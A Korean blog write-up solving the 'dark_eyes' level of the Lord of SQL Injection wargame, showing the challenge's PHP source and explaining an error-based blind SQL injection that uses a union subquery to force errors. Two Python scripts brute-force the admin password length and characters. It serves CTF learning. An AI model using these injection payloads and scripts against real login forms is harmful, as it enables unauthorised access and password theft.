본문 바로가기

Wargame, CTF/LOS_eagle

LOS _Dark_eyes

<?php
  include "./config.php"; 
  login_chk(); 
  dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
  if(preg_match('/col|if|case|when|sleep|benchmark/i', $_GET[pw])) exit("HeHe");
  $query = "select id from prob_dark_eyes where id='admin' and pw='{$_GET[pw]}'";
  $result = @mysql_fetch_array(mysql_query($query));
  if(mysql_error()) exit();
  echo "<hr>query : <strong>{$query}</strong><hr><br>";
  
  $_GET[pw] = addslashes($_GET[pw]);
  $query = "select pw from prob_dark_eyes where id='admin' and pw='{$_GET[pw]}'";
  $result = @mysql_fetch_array(mysql_query($query));
  if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("dark_eyes");
  highlight_file(__FILE__);
?>

소스코드

 

if, case, when, sleep, benchmark가 필터링 되어있어

조건문과 Time based blind injection이 불가능함

error가 발생해도 error내용을 출력하지않고 탈출

 

서브쿼리를 이용해서

error가 발생하지 않고 원래의 내용이 출력되는지

errorr가 발생해서 빈화면이 출력하는지로 

blind injection을 해야함

 

Error 발생시 나오는 화면

 

여기서 사용할 서브쿼리는

select  union select 인데

select 0 union select 조건을 해서

거짓이면 0이니

select 0 union select0 이라 결과는 0만 나오고

참이라면 1이여서

select 0 union select 1 이되어 0, 1이 나올 것임

근데 문제의 쿼리문에선 id하나만 뽑아옴

row가 1인데 서브쿼리로 2개가 나오는 것 자체가 error 이기 때문에

이걸 이용해서 error based blind injection 가능

error가 발생하지 않아 정상 출력된 모습

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import requests
 
cookie = {"PHPSESSID""~~~~~~"}
session = requests.Session()
pwLen = 0
pw = ""
 
##find pwLen
for i in range(50):
    params = {
        "pw" : "' or id='admin' and (select 0 union select (length(pw)={}))#".format(i)
    }
    req = session.get(url = url, params = params, cookies = cookie)
    if("query" not in req.text):
        print(i,"is correct!!!!!!!!")
        pwLen = i
        break
    print(i, "is not")
    
 
 

 

pw길이는 8글자

 

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
import requests
 
cookie = {"PHPSESSID""~~~~~~"}
session = requests.Session()
pwLen = 0
pw = ""
 
##find pwLen
for i in range(50):
    params = {
        "pw" : "' or id='admin' and (select 0 union select (length(pw)={}))#".format(i)
    }
    req = session.get(url = url, params = params, cookies = cookie)
    if("query" not in req.text):
        print(i,"is correct!!!!!!!!")
        pwLen = i
        break
    print(i, "is not")
 
##find pw
for i in range(1, pwLen+1):
    for j in range(257):
        params = {
        "pw" : "' or id='admin' and (select 0 union select (ord(substr(pw,{},1))={}))#".format(i,j)
        }
        req = session.get(url = url, params = params, cookies = cookie)
        if("query" not in req.text):
            print(chr(j),"is correct!!!!!!!!")
            pw +=chr(j)
            break
        print(chr(j), "is not")
 
print(pw)
 

 

 

Dark_eyes Clear

'Wargame, CTF > LOS_eagle' 카테고리의 다른 글

LOS _Iron_golem  (0) 2020.03.16
LOS _Dragon  (0) 2020.03.16
LOS _Xavis  (0) 2020.03.16
LOS _nightmare  (0) 2019.12.02
LOS _succubus  (0) 2019.11.21